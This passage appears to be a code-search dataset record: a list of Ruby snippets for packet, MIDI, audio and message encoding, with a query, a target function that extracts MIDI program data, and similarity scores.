\\\\ \\\\ | ( | | | ( | | | |\n| ) | ) ( || (____/\\\\| / \\\\ \\\\| (____/\\\\ | | | ) | (___) |\n|/ |/ \\\\|(_______/|_/ \\\\/(_______/ )_( |/ (_______)\n ____________________________ ____________________________\n( ) ( )\n| 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |\n| )( )( )( )( )( |\n(____________________________) (____________________________)\n パケットフ\n a mid-level packet manipulation library for ruby\n\nEOM\n\tend", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Unsubscribe Acknowledgment packet'\n end", "def data=(b)\n raise RuntimeError, 'No chunk data set' unless @chunk_id && @chunk_count\n\n @raw = Payload.encode([HEADER,\n @chunk_id,\n @chunk_count,\n Zlib.crc32(b),\n b\n ].pack('a4LLLa*'))\n end", "def write_data(data)\n \n # read the APID from the packet\n apid = BinaryAccessor.read(@apid_bit_offset, \n @apid_bit_size, \n :UINT, \n data, \n @endianness) \n \n # if the key does not yet exist in the hash (ie, this is the first time \n # this packet has been sent), add an entry to the hash\n if(!@sent_seqcnts.key?(apid))\n @sent_seqcnts[apid] = 0\n \n # otherwise, increment the key that already exists\n else\n @sent_seqcnts[apid] += 1;\n end\n \n # use the value from the hash\n seqcnt = @sent_seqcnts[apid]\n \n # make sure the value will fit in the bits allocated for it\n # wraps value if too large\n seqcnt = @sent_seqcnts[apid] % ( 2 ** @seqcnt_bit_size -1) \n \n # write the APID into the packet\n BinaryAccessor.write(seqcnt, \n @seqcnt_bit_offset, \n @seqcnt_bit_size, \n :UINT,\n data, \n @endianness, \n :ERROR)\n\n return data\n end", "def send_message(body)\n # checksum\n body << ((~body.sum+1) & 0x7F)\n\n # sysex wrapper and header\n msg = [\n 0xF0,\n 0x00,0x01,0x73,0x7E, # header: iConnectivity's manufacturer ID and message class\n *body,\n 0xF7\n ]\n\n # send sysex\n output = UniMIDI::Output.first\n output.puts(msg)\nend", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Received packet'\n end", "def packetfu_ascii_art\n puts <<EOM\n _______ _______ _______ _ _______ _________ _______\n( ____ )( ___ )( ____ \\\\| \\\\ /\\\\( ____ \\\\\\\\__ __/( ____ \\\\|\\\\ /|\n| ( )|| ( ) || ( \\\\/| \\\\ / /| ( \\\\/ ) ( | ( \\\\/| ) ( |\n| (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |\n| _____)| ___ || | | _ ( | __) | | | __) | | | |\n| ( | ( ) || | | ( \\\\ \\\\ | ( | | | ( | | | |\n| ) | ) ( || (____/\\\\| / \\\\ \\\\| (____/\\\\ | | | ) | (___) |\n|/ |/ \\\\|(_______/|_/ \\\\/(_______/ )_( |/ (_______)\n ____________________________ ____________________________\n( ) ( )\n| 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |\n| )( )( )( )( )( |\n(____________________________) (____________________________)\n PacketFu\n a mid-level packet manipulation library for ruby\n\nEOM\n end", "def encode_chunk(chunk); end", "def command_payload_bytes\n raise MovingsignApi::NotImplementedError, \"Needs to be implemented in subclass.\"\n end", "def data\n identifier = @identifier || 0\n expiry = @expiry || 0\n size = [payload].pack(\"a*\").size\n data_array = [1, identifier, expiry, 32, token, size, payload]\n data_array.pack(\"cNNnH*na*\")\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Complete packet'\n end", "def decode_mask(data)\n # Mask\n byte_tmp = data.getbyte\n is_masked = byte_tmp & 0b10000000\n raise Midori::Error::NotMasked unless is_masked == 128\n # Payload\n payload = byte_tmp & 0b01111111\n mask = Array.new(4) { data.getbyte }\n # Message\n masked_msg = Array.new(payload) { data.getbyte }\n @msg = masked_msg.each_with_index.map { |byte, i| byte ^ mask[i % 4] }\n @msg = @msg.pack('C*').force_encoding('utf-8') if [0x1, 0x9, 0xA].include?opcode\n # For debug\n # data.rewind\n # data.bytes {|byte| puts byte.to_s(16)}\n end", "def parse_body(buffer)\n @id = shift_short(buffer)\n while(buffer.bytesize>0)\n @return_codes << shift_byte(buffer)\n end\n # puts \"subacks #{@return_codes.inspect}\"\n end", "def message_buffer; end", "def encode\n encoded = buffer[1..-1].reduce([]) do |acc, byte|\n if byte == 0x7e or byte == 0x7d\n acc << 0x7d << (byte ^ 0x20)\n else\n acc << byte\n end\n end\n Packet.new([0x7e] + encoded + [0x7e])\n end", "def packed()\n body = TacacsPlus.pack_int_net(@user_msg_len,2) +\n TacacsPlus.pack_int_net(@data_len,2) +\n @flags.chr\n \n body << @user_msg if (@user_msg)\n body << @data if (@data)\n return(body)\n end", "def build_hl7_message(patient_info) # rubocop:disable Metrics/MethodLength, Metrics/AbcSize\n msg_input = upload_qbp_template('lib/assets/qbp.hl7')\n\n # Build MSH Segment\n uid = rand(10_000_000_000).to_s\n msh = msg_input[:MSH]\n msh.time = Time.zone.now\n msh.message_control_id = uid\n\n # Build QPD segnment\n qpd = msg_input[:QPD]\n qpd.query_tag = uid\n\n if patient_info[:patient_list]\n patient_id_list = HL7::MessageParser.split_by_delimiter(qpd.patient_id_list, msg_input.item_delim)\n patient_id_list[1] = patient_info[:patient_list][:id] # ID\n patient_id_list[4] = patient_info[:patient_list][:assigning_authority] # assigning authority\n patient_id_list[5] = patient_info[:patient_list][:identifier_type_code] # identifier type code\n qpd.patient_id_list = patient_id_list.join(msg_input.item_delim)\n end\n\n if patient_info[:patient_name]\n patient_name = HL7::MessageParser.split_by_delimiter(qpd.patient_name, msg_input.item_delim)\n patient_name[0] = patient_info[:patient_name][:family_name] # family name\n patient_name[1] = patient_info[:patient_name][:given_name] # given name\n patient_name[2] = patient_info[:patient_name][:second_or_further_names] # second name\n patient_name[3] = patient_info[:patient_name][:suffix] # suffix name\n qpd.patient_name = patient_name.join(msg_input.item_delim)\n end\n\n if patient_info[:mothers_maiden_name]\n mother_maiden_name = HL7::MessageParser.split_by_delimiter(qpd.mother_maiden_name, msg_input.item_delim)\n mother_maiden_name[0] = patient_info[:mothers_maiden_name][:family_name] # family name\n mother_maiden_name[1] = patient_info[:mothers_maiden_name][:given_name] # given name\n mother_maiden_name[6] = patient_info[:mothers_maiden_name][:name_type_code] # name type code, M = Maiden Name\n qpd.mother_maiden_name = mother_maiden_name.join(msg_input.item_delim)\n end\n\n qpd.patient_dob = patient_info[:patient_dob]\n\n qpd.admin_sex = patient_info[:admin_sex]\n\n if patient_info[:address]\n address = HL7::MessageParser.split_by_delimiter(qpd.address, msg_input.item_delim)\n address[0] = patient_info[:address][:street] # street address\n address[2] = patient_info[:address][:city] # city\n address[3] = patient_info[:address][:state] # state\n address[4] = patient_info[:address][:zip] # zip\n address[6] = patient_info[:address][:address_type] # address type\n qpd.address = address.join(msg_input.item_delim)\n end\n\n if patient_info[:phone]\n phone_home = HL7::MessageParser.split_by_delimiter(qpd.phone_home, msg_input.item_delim)\n phone_home[5] = patient_info[:phone][:area_code] # area code\n phone_home[6] = patient_info[:phone][:local_number] # local number\n qpd.phone_home = phone_home.join(msg_input.item_delim)\n end\n\n msg_input\n end", "def encoding\n @encoding ||= AudioFormat::Encoding::PCM_UNSIGNED\n end", "def data\n raise RuntimeError, 'No raw data set' unless @raw\n\n header, @chunk_id, @chunk_count, crc32, b = Payload.decode(@raw).unpack('a4LLLa*')\n\n raise FormatError unless header == HEADER\n raise ChecksumError unless Zlib.crc32(b) == crc32\n\n b\n end", "def _db_unterminated(io, length)\n Unxls::Biff8::Structure._encode_string(io.read(length))\n end", "def beginRecordUI\n code=beginRecord\n case code\n when 0; return true\n when 256+66\n Kernel.pbMessage(_INTL(\"All recording devices are in use. Recording is not possible now.\"))\n return false\n when 256+72\n Kernel.pbMessage(_INTL(\"No supported recording device was found. Recording is not possible.\"))\n return false\n else\n buffer=\"\\0\"*256\n MciErrorString.call(code,buffer,256)\n Kernel.pbMessage(_INTL(\"Recording failed: {1}\",buffer.gsub(/\\x00/,\"\")))\n return false \n end\nend", "def packetize_data data\n data = data.chars if data.is_a? String\n data.unshift(0x40.chr).push(0x41.chr)\n end", "def ex1\n WaveFile::Reader.new(\n File.expand_path('../440Hz,441samples.wav', File.dirname(__FILE__))\n ) do |reader|\n samples = reader.read(441).samples.to_a\n #puts samples.map(&:inspect).join(\",\")\n samples_to_graph!(samples, '440constant')\n embiggen_and_imgcat!('440constant')\n end\nend", "def compress(data)\n compressed = \"\\x10\"\n compressed <<\n Bytestream.from_hex(format('%06X', data.length)).to_b.reverse\n\n index = 0\n w = 0xFFF\n window = ''\n lookahead = ''\n\n loop do\n bits = ''\n check = nil\n current_chunk = ''\n\n 8.times do\n window = (index < w ? data[0, index] : data[(index % w)..index])\n lookahead = data[index..-1]\n\n if lookahead.nil? || lookahead.empty?\n unless bits.empty?\n while bits.length < 8\n bits << '0'\n current_chunk << \"\\x00\"\n end\n compressed <<\n Bytestream.from_hex(format('%02x', bits.to_i(2))).to_b <<\n current_chunk\n end\n break\n end\n\n check = window.index(lookahead[0..2])\n if check\n bits << '1'\n length = 2\n store_length = 0\n store_check = 0\n while check && length < 18\n store_length = length\n length += 1\n store_check = check\n check = window.index(lookahead[0, length])\n end\n index += store_length\n store_length -= 3\n position = window.length - 1 - store_check\n store_length = store_length << 12\n current_chunk <<\n Bytestream.from_hex(format('%04X', (store_length | position))).to_b\n else\n index += 1\n bits << '0'\n current_chunk << lookahead[0]\n end\n end # 8.times\n\n if lookahead.nil? || lookahead.empty?\n unless bits.empty?\n while bits.length < 8\n bits << '0'\n current_chunk << \"\\x00\"\n end\n compressed <<\n Bytestream.from_hex(format('%02x', bits.to_i(2))).to_b <<\n current_chunk\n end\n break\n end\n\n compressed <<\n Bytestream.from_hex(format('%02x', bits.to_i(2))).to_b <<\n current_chunk\n end # loop\n\n compressed << \"\\x00\" until compressed.length % 4 == 0\n compressed\n end", "def parse(bytes)\n # tack new bytes on to partial packet\n @packet.concat(bytes.force_encoding('BINARY'))\n # find START_BYTE\n until (startPos = @packet.index(START_BYTE)).nil?\n after = @packet.slice(startPos+1 .. -1)\n nread = case after[0]\n when ID_ADC_STATUS\n parseADCStatus(after)\n when ID_DATA\n parseDataPacket(after)\n when ID_IO_STATUS\n parseIOStatus(after)\n when nil # no more bytes\n 0\n else\n # consume up to next START_BYTE\n after.index(START_BYTE) || 0\n end\n @packet = after.slice(nread .. -1)\n end\n end", "def message(*args)\n format = \"C\" * args.size\n bytes = DL::CPtr.to_ptr(args.pack(format))\n C.snd_rawmidi_write(@output, bytes, args.size)\n C.snd_rawmidi_drain(@output)\n end", "def get_data\n return @data.unpack(\"S>*\")\n end", "def pack\n packed_count = 0\n count.times do |i|\n @file.pos = @record_offset + @record_size*i\n data = @file.read(@record_size)\n unless data[0, 1]=='*'\n if i!=packed_count\n @file.pos = @record_offset + @record_size*packed_count\n @file.write data\n end\n packed_count += 1\n end\n end\n\n file_end = @record_offset + @record_size*packed_count\n @file.pos = file_end\n @file.write \"\\x1a\"\n @file.truncate file_end+1\n\n self.count = packed_count\n update_header\n end", "def encode(bytes)\n [bytes.to_s].pack(\"m\").gsub(\"\\n\", '')\n end", "def parse_body(buffer)\n super(buffer)\n @topic = shift_string(buffer)\n @id = shift_short(buffer) unless qos.zero?\n @payload = buffer\n end", "def unpack(data); end", "def parse_data(data, check_parity)\n last_command = [0, 0]\n\n data.split(' ').each do |word_string|\n begin\n # Decode hexadecimal word into two-byte string\n word = [word_string].pack('H*')\n # Check parity\n fail ParityError, \"At least one byte in word #{word_string} has even parity, odd required\" unless !check_parity || (correct_parity?(word[0]) && correct_parity?(word[1]))\n # Remove parity bit for further processing\n word = word.bytes.collect { |byte|\n # Unset 8th bit\n (byte & ~(1 << 7))\n }\n\n hi, lo = word\n\n # First check if the word contains characters only\n if hi >= 0x20 && hi <= 0x7f\n # Skip characters if last command was on different channel\n if @data_channel != 0\n puts 'Skipping characters on channel 2'\n next\n end\n\n [hi, lo].each do |byte|\n handle_character(byte)\n end\n\n # Reset last command\n last_command = [0, 0]\n else\n if word == last_command\n # Skip commands transmitted twice for redundancy\n # But don't skip the next time, too\n last_command = [0, 0]\n next\n end\n\n # Channel information is encoded in the 4th bit, read it out\n @data_channel = (hi >> 3) & 1\n if @data_channel != 0\n puts 'Skipping command on channel 2'\n next\n # If channel 2 processing is needed, parse the file two times and\n # change the above condition as needed, then unset the channel bit\n # for further processing.\n end\n\n if hi == 0x11 && lo >= 0x30 && lo <= 0x3f\n # Special character\n handle_special_character(lo)\n elsif hi >= 0x10 && hi <= 0x17 && lo >= 0x40\n # Premable address code\n handle_preamble_address_code(hi, lo)\n elsif (hi == 0x14 || hi == 0x17) && lo >= 0x20 && lo <= 0x2f\n handle_control_code(hi, lo)\n elsif hi == 0x11 && lo >= 0x20 && lo <= 0x2f\n handle_mid_row_code(hi, lo)\n elsif hi == 0x00 && lo == 0x00\n # Ignore filler\n else\n puts \"Ignoring unknown command #{hi}/#{lo}\"\n end\n\n last_command = word\n end\n\n ensure\n # Advance one frame for each word read\n @now += 1\n end\n end\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Publish Release packet'\n end", "def build_binary_data(data={})\n buffer = [68, 65, 84, 65, 0] # D A T A\n elements_to_send = []\n keys_to_send = data.keys\n\n Xplane::XPLANE_DATA_MAPPER.each do |element_id, included_elements|\n element = nil\n included_elements.each_with_index do |element_name, index|\n if keys_to_send.include? element_name\n element ||= new_element(element_id)\n element[index + 1] = data[element_name]\n end\n end\n elements_to_send.push element unless element.nil?\n end\n\n elements_to_send.each do |element|\n buffer += element\n end\n buffer.pack binary_format(elements_to_send.length)\n end", "def parse_chunk_NMAC stream\n stream.read\n end", "def save chunk_nr, io\n\t\t\t# retrieve data from io and compare sig \n\t\tend", "def read_byte; end", "def parseDataPacket(bytes)\n return 0 if bytes.size < 5\n (id, nodeid, len) = bytes.unpack('CCC')\n return 0 if bytes.size < len + 4\n @client.handleData(nodeid, bytes.slice(3,len))\n return len + 4\n end", "def parse_body(buffer)\n super(buffer)\n @id = shift_short(buffer)\n @return_codes << shift_byte(buffer) while buffer.bytesize > 0\n end", "def output_binary(binary)\n message = \"\\r\\n\"\n message << \"Identifier: #{binary[:uniqueid]}\\r\\n\"\n message << \"Length: #{binary[:size]}\\r\\n\"\n message << \"\\r\\n\"\n message << \"#{binary[:data]}\\r\\n\"\n end", "def write_wav_header()\n\t\t# calculate additional parameters included in the .wav header\n\t\tblock_align = (@bitsPerSample * @numChannels) / 8\n\t\tbyte_rate = (@sampleRate * @numChannels * @bitsPerSample) / 8\n\n\t\t# write first 16 bytes to file (always the same)\n\t\t# 'xxxx' portion will be modified in finalize_wav_header() method (see below)\n\t\tFile.write(@filename, 'RIFFxxxxWAVEfmt ', @file_offset)\n\t\t@file_offset += 16\n\n\t\t# write the rest of the header, except the 'data' subchunk header\n\t\tself.encode_and_write_int32(16) # set Subchunk1Size in header\n\t\tself.encode_and_write_int16(1) # set AudioFormat to 1 (PCM) in header\n\t\tself.encode_and_write_int16(@numChannels) # set NumChannels in header\n\t\tself.encode_and_write_int32(@sampleRate) # set SampleRate in header\n\t\tself.encode_and_write_int32(byte_rate) # set ByteRate in header\n\t\tself.encode_and_write_int16(block_align) # set block align in header\n\t\tself.encode_and_write_int16(@bitsPerSample) # set BitsPerSample in header\n\n\t\t# write 8 byte 'data' subchunk header info\n\t\t# 'xxxx' portion will be modified in finalize_wav_header() method (see below)\n\t\tFile.write(@filename, 'dataxxxx', @file_offset)\n\t\t@file_offset += 8\n\tend", "def enqueue_message(bytes, timestamp)\n if bytes.first.eql?(0xF0) || !@sysex_buffer.empty?\n @sysex_buffer += bytes\n if bytes.last.eql?(0xF7)\n bytes = @sysex_buffer.dup\n @sysex_buffer.clear\n end\n end\n # SINM ADDED\n @sysex_buffer.empty? ? get_message_formatted(bytes, timestamp) : nil\n # SINM COMMENTED OUT\n # @buffer << get_message_formatted(bytes, timestamp) if @sysex_buffer.empty?\n # @buffer\n end", "def output_midi_values_in_key_signature( key, tonality )\n\t\tstarting_pitch_val = KEY[ key ]\n\n\t\tfinal_values = []\n\t\t8.times do |oct|\n\t\t\tTONALITY[ tonality ].each do |step|\n\t\t\t\tif starting_pitch_val + (step + 12*oct) > 108\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tfinal_values << starting_pitch_val + (step + 12*oct)\n\t\t\tend\n\t\tend\n\t\tfinal_values\n\tend", "def read__UI8\r\n readbyte\r\n end", "def send_extended_data_packet( type, data )\n # overhead is\n # ( byte.length + id.length + type.length + strlen.length ) = 13\n data, data_to_return = split_data_for_packet( data.to_s, 13 )\n @window_size -= data.length\n\n msg = @buffers.writer\n msg.write_byte CHANNEL_EXTENDED_DATA\n msg.write_long @remote_id\n msg.write_long type\n msg.write_string data\n @connection.send_message msg\n\n data_to_return\n end", "def pack_data value\r\n [value].pack('l>').split('').map(&:ord)\r\nend", "def finalize_wav_header()\n\t\t# these are the byte offsets for the Chunksize and Subchunk2Size\n\t\t# parts of the .wav file header\n\t\tchunk_size = @file_offset - 8\n\t\tsubChunk2_size = chunk_size - 36\n\t\t# set ChunkSize in header\n\t\tencode_and_write_int32(chunk_size, mode='file', byte_offset=4)\n\t\t# set Subchunk2Size in header\n\t\tencode_and_write_int32(subChunk2_size, mode='file', byte_offset=40)\n\tend", "def packed()\n body = @status.chr + \n @flags.chr + \n TacacsPlus.pack_int_net(@server_msg_len,2) + \n TacacsPlus.pack_int_net(@data_len,2) \n \n body << @server_msg if (@server_msg)\n body << @data if (@data) \n return(body)\n end", "def unpack(binary)\n end", "def parse_atx_header_gfm_quirk; end", "def read_data_byte(offset) [offset + 1, get_byte(offset)] end", "def to_hl7\n @segments.collect { |s| s if s.to_s.length > 0 }.join( @delimiter.segment ).encode(encoding)\n end", "def read_magic(data)\n magic = ''\n (0 .. 2).each do |byte|\n magic << data.get_varint(byte * 8, 8).chr\n end\n\n if magic.bytesize != 3 || magic[0,2] != MAGIC\n fail InputStreamError, \"Invalid compress(1) header \" +\n \"(expected #{MAGIC.unpack('h*')}, got #{magic[0,2].unpack('h*')})\"\n end\n\n bits = magic.getbyte(2)\n @max_code_size = bits & MASK_BITS\n @block_mode = ( ( bits & MASK_BLOCK ) >> 7 ) == 1\n end", "def bytes; end", "def receive_data(data)\n data.each_char do |char|\n if char == @end_seq[ @end_i ]\n if @end_i == @end_seq.size-1\n @minerd.send_detach\n EM.stop\n return\n end\n\n @end_i += 1\n\n if @end_i == 1\n @private_buffer += char\n\n else\n @buffer += char\n end\n\n elsif char == @end_seq.first\n @private_buffer += char\n\n else\n @end_i = 0\n\n unless @private_buffer.empty?\n @buffer += @private_buffer\n @private_buffer.clear\n end\n\n @buffer += char\n end\n end\n\n @minerd.send_write(@buffer)\n @buffer.clear\n end", "def store_field(data)\n @io.write [data.size].pack(\"V\") \n offset = @io.pos\n @io.write data\n @io.write \"\\0\"\n offset \n end", "def bytes(*args); data(1, *args); end", "def stego_encode(msg_file)\n\t\tarr = string_to_bin(msg_file).reverse #reverse for pop\n\t\tlen = arr.length\n\n\t\t#Starting at the beginning of the pixel data, check if the LSB of the pixel\n\t\t#matches the next bit in the binary array. No action needed if a match.\n\t\tdata[data_offset..data_offset + len - 1].each_with_index{\n\t\t\t|e, i|\n\n\t\t\tx = arr.pop\n\n\t\t\tif (e % 2).to_i == x.to_i\n\t\t\t\t#The LSB matches the message bit, we can safely skip here\n\t\t\telse\n\t\t\t\t#The LSB doesn't match, so we need to inc(or decr) to encode\n\t\t\t\tif e == 255\n\t\t\t\t\tdata[data_offset+i] -= 1\n\t\t\t\telse\n\t\t\t\t\tdata[data_offset+i] += 1\n\t\t\t\tend\n\t\t\tend\n\t\t}\n\tend", "def spectrum_to_mgf(data)\n output_arr = []\n output_arr << %Q{COM=Project: In-silico Isotoper\\nBEGIN IONS\\nCHARGE=#{@charge_state}+\\nTITLE=Label: Sequence is #{@sequence} and options were #{@opts}}\n data.each do |entry|\n #\tTableEntry = Struct.new(:ion, :seq, :mass, :charge)\n output_arr << \"#{\"%.5f\" % entry.first }\\t#{\"%.5f\" % entry.last}\"\n end\n output_arr << \"END IONS\"\n File.open(\"#{@sequence}.mgf\", 'w') {|o| o.print output_arr.join(\"\\n\") }\n output_arr.join(\"\\n\")\n end", "def parse_64(edata)\n return nil if @eject\n to_parse = ''\n \n # Check every single F'ing character. God, MIME is slow.\n edata.each_byte do |i| i = i.chr\n if MIME_CHARS.include?(i)\n @mime_block << i\n if @mime_block.length == 4\n to_parse << de_mime(@mime_block)\n @mime_block = ''\n end\n end\n end # of each_byte\n\n # Hand the decoded data to the parser\n parse(to_parse) unless to_parse.empty?\n end", "def EVIOCGSND(len); _IOC(_IOC_READ, 'E', 0x1a, len);end", "def data\n unless @data\n stream.pos = header.sh_offset\n @data = stream.read(header.sh_size).force_encoding('ascii-8bit')\n end\n @data\n end", "def encode\n encoded_sequence = encode_sequence\n encoded_words = encode_words\n word_count = @words.length\n \n # 12 bytes for header\n total_size = PACKET_HEADER_SIZE + encoded_words.length\n\n # DICE's RCON docs say packets cannot be larger than 16384 bytes\n raise \"packet is too big!\" if total_size > 16384\n\n ret = encoded_sequence\n ret += [total_size, word_count].pack('VV')\n ret += encoded_words\n\n ret\n end", "def parse_lfo(lfo)\n data = @bytes.next\n lfo.wave = (data & 0xC0) >> 6\n lfo.frequency = data & 0x3F\n\n data = @bytes.next\n mod_part_one = (data & 0xC0) >> 6\n lfo.level1 = data & 0x3F\n\n data = @bytes.next\n mod_part_two = (data & 0xC0) >> 6\n lfo.level2 = data & 0x3F\n\n lfo.modulator.source = (mod_part_one << 2) + mod_part_two\n\n data = @bytes.next\n lfo.reset = bit_true?(data)\n lfo.humanize = bit_true?(data, 2)\n lfo.delay = data & 0x3F\n end", "def write(bytes)\r\n end", "def trailer_arquivo_posicao_394_a_400(sequencial)\n\t\t\t\t\t\t\"#{sequencial}\".adjust_size_to(6, '0', :right)\n\t\t\t\t\tend", "def encode # rubocop:disable Metrics/AbcSize\n [\n DATA_STREAM, name.size, name,\n typename.size, typename,\n registry_xml.size, registry_xml,\n metadata_yaml.size, metadata_yaml\n ].pack(\"CVa#{name.size}Va#{typename.size}\"\\\n \"Va#{registry_xml.size}Va#{metadata_yaml.size}\")\n end", "def serialize\n # TODO sanity checks, e.g. assert(@header[:ncmds] == @load_command.size)\n # ... perhaps an option to recalculate such data as well.\n\n # Now that we have all the pieces of the file defined we can calculate\n # the file offsets of segments and sections.\n calculate_offsets\n\n ###################################\n # Mach-O file Part 1: Mach Header #\n ###################################\n @header.serialize +\n\n #####################################\n # Mach-O file Part 2: Load Commands #\n #####################################\n # dump each load command (which include the section headers under them)\n @load_commands.map do |cmd|\n sects = @sections[cmd[:segname]] rescue []\n sects.inject(cmd.serialize) do |data, sect|\n data + sect.serialize\n end\n end.join +\n\n ###################################\n # Mach-O file Part 3: Binary data #\n ###################################\n @data.join\n end", "def send_data_packet( data )\n # overhead is ( byte.length + id.length + strlen.length ) = 9\n data, data_to_return = split_data_for_packet( data.to_s, 9 )\n @window_size -= data.length\n\n msg = @buffers.writer\n msg.write_byte CHANNEL_DATA\n msg.write_long @remote_id\n msg.write_string data\n @connection.send_message msg\n\n data_to_return\n end", "def write_data(data)\n\n BinaryAccessor.write(calculate_length(data.length), @length_bit_offset, @length_bit_size, :UINT,\n data, @length_endianness, :ERROR)\n\n return data\n end", "def data\n @p7.to_pem\n end", "def png_chunk(signature, data)\n\t[data.length, signature, data, Zlib::crc32(signature + data)].pack(\"NA4A*N\")\nend", "def midi_map_equal_tempered\n JSON.pretty_generate((0..127).to_a.map{|midi| midi_to_hash(midi)})\nend", "def to_payload\n pin = @in.map{|i|\n buf = [ i.prev_out, i.prev_out_index ].pack(\"a32I\")\n buf << Protocol.pack_var_int(i.script_sig_length)\n buf << i.script_sig if i.script_sig_length > 0\n buf << (i.sequence || \"\\xff\\xff\\xff\\xff\")\n }.join\n\n pout = @out.map{|o|\n buf = [ o.value ].pack(\"Q\")\n buf << Protocol.pack_var_int(o.pk_script_length)\n buf << o.pk_script if o.pk_script_length > 0\n buf\n }.join\n\n in_size, out_size = Protocol.pack_var_int(@in.size), Protocol.pack_var_int(@out.size)\n [[@ver].pack(\"I\"), in_size, pin, out_size, pout, [@lock_time].pack(\"I\")].join\n end", "def encoding_line; end", "def to_mllp\n pre_mllp = to_hl7\n \"\\x0b\" + pre_mllp + \"\\x1c\\r\"\n end", "def length_prefixed_string(data)\n msg = data.encode(Encoding::UTF_8)\n # https://ruby-doc.org/core-1.9.3/Array.html#method-i-pack\n [msg.bytes.length].pack('V') + msg.force_encoding(Encoding::BINARY)\n end", "def ascii_bit_stream\n @screen.flatten.inject(\"\") { |r, p| r << (p ? \"1\" : \"0\") }\n end" ]
[ "0.60295254", "0.5705238", "0.56088686", "0.55482477", "0.5426472", "0.53987956", "0.5362406", "0.53152245", "0.52974725", "0.52758926", "0.527021", "0.52352166", "0.5210215", "0.5181947", "0.5166361", "0.5153549", "0.51393884", "0.51069003", "0.51068693", "0.51049584", "0.50933146", "0.5090744", "0.5083878", "0.5055681", "0.5048618", "0.5015596", "0.50056756", "0.4996583", "0.49783835", "0.49780518", "0.49760538", "0.49706528", "0.49666774", "0.49624166", "0.4936519", "0.49163213", "0.4908298", "0.49079868", "0.49034494", "0.4903389", "0.49033025", "0.4903297", "0.49011716", "0.49002928", "0.48973572", "0.48950428", "0.4892901", "0.48816124", "0.48767403", "0.4874931", "0.48732007", "0.48675624", "0.48599142", "0.48549154", "0.4846781", "0.48467097", "0.48428273", "0.4840153", "0.4837024", "0.4835168", "0.48326156", "0.48199052", "0.48146814", "0.48110738", "0.4808059", "0.48074093", "0.48059794", "0.48058167", "0.4802198", "0.47828245", "0.47747886", "0.4771233", "0.47692803", "0.47644565", "0.47614372", "0.4758561", "0.47509375", "0.47480905", "0.47474527", "0.4745999", "0.47457144", "0.47396934", "0.47354057", "0.47339997", "0.4730805", "0.4726589", "0.47209293", "0.47184417", "0.47180262", "0.4714026", "0.4700186", "0.46861106", "0.46856713", "0.46848798", "0.46797228", "0.4674431", "0.46711916", "0.46689573", "0.46685907", "0.46680126" ]
0.6903426
0
Extract program data dump from midi message
def get_program_midi_data(data) valid = data[0] == 0xF0 && data[1] == 0x42 && (data[2] & 0xF0 == 0x30) && data[3] == 0x00 && data[4] == 0x01 && data[5] == 0x44 && (data[6] == 0x4C || data[6] == 0x40) && data[-1] == 0xF7 if data[6] == 0x40 # current program program = nil start = 7 else program = data[7] start = 9 end prog = data[start...-1] raise "Invalid program" unless valid && prog.size == 512 from_bytes midi_decoder prog end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_program(prog)\n prog_bytes = to_bytes(prog)\n data = {}\n raise \"Invalid program\" unless prog[0, 4] == 'PROG'\n name = prog[4...16]\n data[:name] = program_name(prog)\n\n HR_PARAMS.each do |(key, ms_offset, ls_offset, ls_pos, units)|\n # single byte value\n value = prog_bytes[ms_offset]\n data[key] = value\n # high resolution value\n value_hr = (value << 2) | ((prog_bytes[ls_offset] >> ls_pos) & 0x03)\n data[:\"#{key}_hr\"] = value_hr\n if units\n # converted value:\n data[:\"#{key}_#{units}\"] = CONVERTERS[units][value_hr]\n end\n end\n\n CONV_PARAMS.each do |(key, offset, bit_pos, bit_len, units)|\n value = bits(prog_bytes[offset], bit_pos, bit_len)\n data[key] = CONVERTERS[units][value]\n if value != data[key]\n data[:\"#{key}_value\"] = value\n end\n end\n\n data[:seq_notes] = (96..426).step(22).map{|offset| note_name prog_bytes[offset]}\n (data[:step_length]...data[:seq_notes].size).each do |i|\n data[:seq_notes][i] = ''\n end\n # puts data[:seq_notes].join(' ')\n\n data[:lfo_rate_vis] = data[:lfo_bpm_sync] == 'ON' ? data[:lfo_rate_bpm] : data[:lfo_rate_hr]\n data[:eg_int_abs] = data[:eg_int_signed].abs\n data[:lfo_int_abs] = data[:lfo_int_signed].abs\n data\nend", "def process(data)\n bytes = StringIO.new(String(data)).each_byte\n bytes.each do |byte|\n case byte\n when REPORT_VERSION\n @major_version = bytes.next\n @minor_version = bytes.next\n\n emit('report_version')\n\n when ANALOG_MESSAGE_RANGE\n least_significant_byte = bytes.next\n most_significant_byte = bytes.next\n\n value = least_significant_byte | (most_significant_byte << 7)\n pin = byte & 0x0F\n\n if analog_pin = analog_pins[pin]\n pins[analog_pin].value = value\n\n emit('analog-read', pin, value)\n emit(\"analog-read-#{pin}\", value)\n end\n\n when DIGITAL_MESSAGE_RANGE\n port = byte & 0x0F\n first_bitmask = bytes.next\n second_bitmask = bytes.next\n port_value = first_bitmask | (second_bitmask << 7)\n\n 8.times do |i|\n pin_number = 8 * port + i\n if pin = pins[pin_number] and pin.mode == INPUT\n value = (port_value >> (i & 0x07)) & 0x01\n pin.value = value\n emit('digital-read', pin_number, value)\n emit(\"digital-read-#{pin_number}\", value)\n end\n end\n\n when START_SYSEX\n current_buffer = [byte]\n begin\n current_buffer.push(bytes.next)\n end until current_buffer.last == END_SYSEX\n\n command = current_buffer[1]\n\n case command\n when CAPABILITY_RESPONSE\n supported_modes = 0\n n = 0\n\n current_buffer.slice(2, current_buffer.length - 3).each do |byte|\n if byte == 127\n modes = []\n # the pin modes\n [ INPUT, OUTPUT, ANALOG, PWM, SERVO ].each do |mode|\n modes.push(mode) unless (supported_modes & (1 << mode)).zero?\n end\n\n @pins.push(Pin.new(modes, OUTPUT, 0))\n\n supported_modes = 0\n n = 